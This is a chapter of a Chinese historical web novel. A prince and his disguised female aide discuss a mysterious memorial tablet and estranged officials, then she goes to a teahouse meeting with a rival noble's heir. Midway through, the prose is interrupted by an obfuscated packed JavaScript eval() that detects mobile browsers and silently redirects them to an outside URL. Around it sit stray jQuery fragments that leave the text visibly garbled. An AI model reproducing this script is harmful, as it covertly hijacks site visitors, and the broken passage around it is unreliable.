听到陆洲不靠谱的推测,宋白正色,不赞同:“哪有人这么咒自己的?就算沈海这么想,沈老夫人笃信神佛,也不会让儿子这么干吧。”
陆洲继续若有所思:“会不会是,那沈海的妾室怀了孩子却夭折了,为了不落小庞氏这新妇的面子,所以沈老夫人悄悄在云中寺立了个牌位,不叫旁人知道,又让这未出世的孩子能享点供奉?”
宋白恍然大悟,还得是陆洲这土生土长的古代人才能想到这个,要让她想,再过二十年也未必能想到这上头来。
“殿下果真洞若观火!”好听话张口就来,宋白佩服地拱手,“若没有殿下指点,属下等还不知要走多少弯路。”
奈何陆洲入朝后听到的马屁太多了,已经学会对这类溢美之词理性看待。不过宋白到底与别个不同,别人都是为了某个目的奉承他,宋白却是真心的。
陆洲十分肯定,小宋对自己忠心耿耿。
“只是若真是个沈家妾室的孩子,那沈老夫人的供奉也就没什么疑点了。”陆洲往后一靠,眉头又拧起来,颇为苦恼,他要不要告诉宋白,因为他们俩背后离间,殷寺卿和沈侍郎现在都不说话了……
能让两个少年知心好友过了中年反目,他们俩也真的是出力颇多。
别看陆洲在殷寺卿跟前说得义愤填膺,但真发现他俩形同陌路,他这几日不管在衙署还是在外头,都小心避开了殷寺卿。
三个炭盆烧了会,屋内渐渐暖和起来,宋白手脚慢慢回温,握着书卷的手指有了血色,她轻轻呼出口气,就这么坐屋里烤火,还怪舒服的。
陆洲的背上却已经冒出热汗,不过顾念着宋白怕冷,他还是忍住了,只是手不自觉拉了拉自己衣领,将外袍扯松了些。
自顾自琢磨了一会,陆洲还是忍不住话头,这事他憋在心里好几日了,又没别的人可以倾诉,也只有宋白可以分享。
前几日他回来得晚,一回府就听说宋白都睡下了,是以一直没找着机会说。
“小宋,有个事儿……”他还在琢磨怎么措辞,若说反目,这词太严重了,还没到那份上。若说那俩不说话了,听起来又跟开玩笑似的,一点都不严肃。
他欲言又止半日,恐怕是有些难言之隐,宋白自觉自己应该主动揣摩领导的意思,信心满满开口:“殿下直言便是,属下莫敢不从。”
陆洲轻咳一声,这事与宋白倒也没什么关系,究其根本,还是自己干的。
“殷寺卿与沈侍郎他们俩……”
宋白眉头一皱,从这话开头判断出事情并不简单,陆洲有什么不能说的,难道……她很是震惊地反问:“难道他们俩是断袖?!”
陆洲:……真敢想啊小宋。
他无语,没忍住曲起指节敲了宋白一记:“想的什么乱七八糟的,他们俩翻脸了,现在见面都不寒暄,我在想,是不是因为我们俩说的那些话,让殷寺卿真对沈侍郎起嫌隙了?”
宋白也无语,话不都是你说的吗,怎么好意思甩锅的。
不过宋白不愧是王府现任第一谋士,电光火石间已经想好回答:“殿下莫要这么想,若殷寺卿对沈侍郎起嫌隙,那得是殷寺卿不与沈侍郎寒暄,如今看这情形,是他们俩互相不寒暄说话,那必然是他们俩互相有龃龉。这与我们何干?我们并未在沈侍郎跟前说三道四,殿下,您说是不是?”
陆洲深感醍醐灌顶:“你说的有道理啊,还得是你见解独到。”
不扯殷寺卿与沈侍郎,宋白将话题拉回来:“殿下,沈家那无名牌位的疑点,属下以为可以让刘诵去打探一下,若真是沈家庶子,必然能打听到些东西。”
陆洲大手一挥:“可行。”
宋白又道:“殿下,明日属下告假,须得出门一趟。”
陆洲又是大手一挥:“去吧。”
看陆洲什么都说好,宋白眼睛一转,又道:“殿下,安远侯世子给属下下了帖子,邀属下过府一叙。”
陆洲立即警觉起来,眯起眼睛瞧她,手伸出去:“不行,帖子写了什么?拿来我瞧瞧。”
宋白自然没把帖子带身上,便解释道:“说是有大伯的遗物想要交还给属下,属下也摸不准是不是确有其事。”
陆洲蹭一下站起来,背过手在屋里走过来又走过去,想要阻止又没有什么立得住的说法,毕竟安远侯与宋家大伯确实有些交情,若真有遗物,他怎么能拦着。
“不行,你不能去,谁知道侯府里有些什么,你都跟他们结仇了,再孤身上门去,这与偏向虎山行有什么区别?”陆洲想了想还是不同意,“我跟你一起去。”
宋白端的是大义凛然:“殿下,这是任家与宋家之事,您是亲王,宋某若连讨回长辈遗物都要由您出面,不敢自己上门,又谈何建立一番事业?殿下容禀,属下已与安远侯世子另外约了茶馆见面。殿下已经入朝,一言一行、一举一动都有御史盯着,须得谨慎,万不能因属下与安远侯府之间的私事有损殿下清名。”
宋白字字恳切,实在是一位忠心耿耿的臣属为主公殚精竭虑,陆洲愣了愣,佯装犹豫,勉为其难答应下来。
实则他心里不以为意,小宋是不是忘了,他向来不走正经路子,不让跟着去,他还不能偷偷去?
宋白以为陆洲一言九鼎,心下稍定,夜幕低垂,不宜再继续打扰人休息,毕竟陆洲回来一身汗只来得及换下衣裳,再不去沐浴怕是要忍不住了。
她眼睁睁瞧着陆洲领口被扯得越来越低,再往下就又能瞧见胸肌了,不得不说,领导太大方了,下属还有点放不开。
不过不看白不看,她正襟危坐,端的是镇定自若,视线就定在陆洲下巴处,稍往下暼就能瞧见微微敞开的胸口。
陆洲只觉得越来越热,这炭盆烤得他心口如火烧似的,他不自在地扭动脖子,扯了下脖颈处的襟领,再转回脖子,倏地与宋白对上视线。
少年面色白皙,眼睫太长以至于在眼底投下一片阴影,在晕黄烛火下有一种雌雄莫辨的美感。
一定是炭盆太多了,烤得他口干舌燥,陆洲不自觉干吞了一下口水,猛地回神拉上了衣领。
宋白被他动作惊了一跳,眨了下眼睛,这是在防她?
哇塞,太小气了吧。
陆洲挥挥手让她赶紧回去歇息,不过让宋白顺道给刘诵传个话,叫他去议事厅等自己。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404267|197228||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
宋白遗憾地叹了声,好吧,不看就不看。
一刻钟后,陆洲到了议事厅,先问刘诵:“你知不知道小宋明日告假的事儿?他要出门去哪里?”
刘诵嘿嘿一笑:“殿下真问对人了,属下还真知道,小宋约了人,明日晌午要去归来茶肆。”
陆洲不费吹灰之力就打探到具体时辰地点,还不惹宋白疑心,他满意点头,又挑了眉梢道:“我问你这事,你不许告诉小宋,否则,仔细你的脑袋。”
刘诵立即噤声点头,保证自己守口如瓶。
陆洲也不多说,继续布置任务:“关默查到沈家老夫人在云中寺立了块无名牌位,你去打听打听这牌位到底是谁的。”
刘诵领命而去,独留陆洲坐在厅里,默默想着明日该如何在茶肆装偶遇。
宋白睡前也做好次日出行的一应准备,这是她在理国公府寿宴后首次与天选之子男主单独会面,不说此前两人已经交恶,就说最近她略施手段让柳玉短暂脱离了伯府,也让任暄此前对柳玉的承诺化为飞烟,两人之间的仇恨真的是越积越多。
如果天选之子有主角光环,宋白这个专给男主使绊子的反派,该死八百次了。
她都怕任暄这次邀约的目的是寻仇,奈何任暄这次提出的交还遗物,切切实实踩中了宋白的软肋。
宋父留下的手札里写着安远侯府曾向宋家借了一样东西,宋父以为不该出借,要尽快拿回来。但东西是宋大伯借出去的,宋大伯与安远侯是莫逆之交,碍于交情,他一直不曾开口讨要。
此前失忆前的宋白刚入洛京时就想去找安远侯要回,然而安远侯避而不见,反倒让宋白气急攻心,一病不起。
如今任暄拿出交还遗物的借口,就算明知有可能是陷阱,宋白也没有办法拒绝,也因为那东西太过神秘,连宋父的手札里都不曾明写,只用“一物”两个字来代替,她担心是什么大逆不道的违禁品,都不敢让其他人知道,特别是陆洲。
约的这归来茶肆位置在宋宅附近,又在大街旁,安全性有保障,宋白就是想着如果是什么违禁品,就近也方便找地方先藏起来或者销毁。
翌日未到晌午她就跟簌簌一块出门了,只是簌簌不同行,而是先回宋宅,随时准备接应。
到了归来茶肆,宋白刚开口说约了人,店家便道:“约的可是安远侯世子?任世子已在雅间等候,宋公子请随我来。”
宋白略感诧异,自己已经是提前来了,没想到任暄来得更早。
推开雅间木门,屋内人抬眸望过来,随后淡淡颔首,这态度倒是十分和善,宋白也颔首致意,走过去坐下。
“阿白,许久不见了,听闻你近来一切都好,因此也不曾打扰。”任暄气质看着沉稳了许多,话说的也颇为得体,不像之前那般带着一股高高在上的说教意味。
也许是因为郑舒之事,终于让他懂得口出恶言也要付出代价。
不过宋白仍然警惕,寒暄之余还不忘自己的报恩人设:“都是托长陵王殿下的福,若非殿下,宋某这会恐怕也不能坐在这里。”
她默默在心里给自己竖了个大拇指,宋白你真的太会说话了。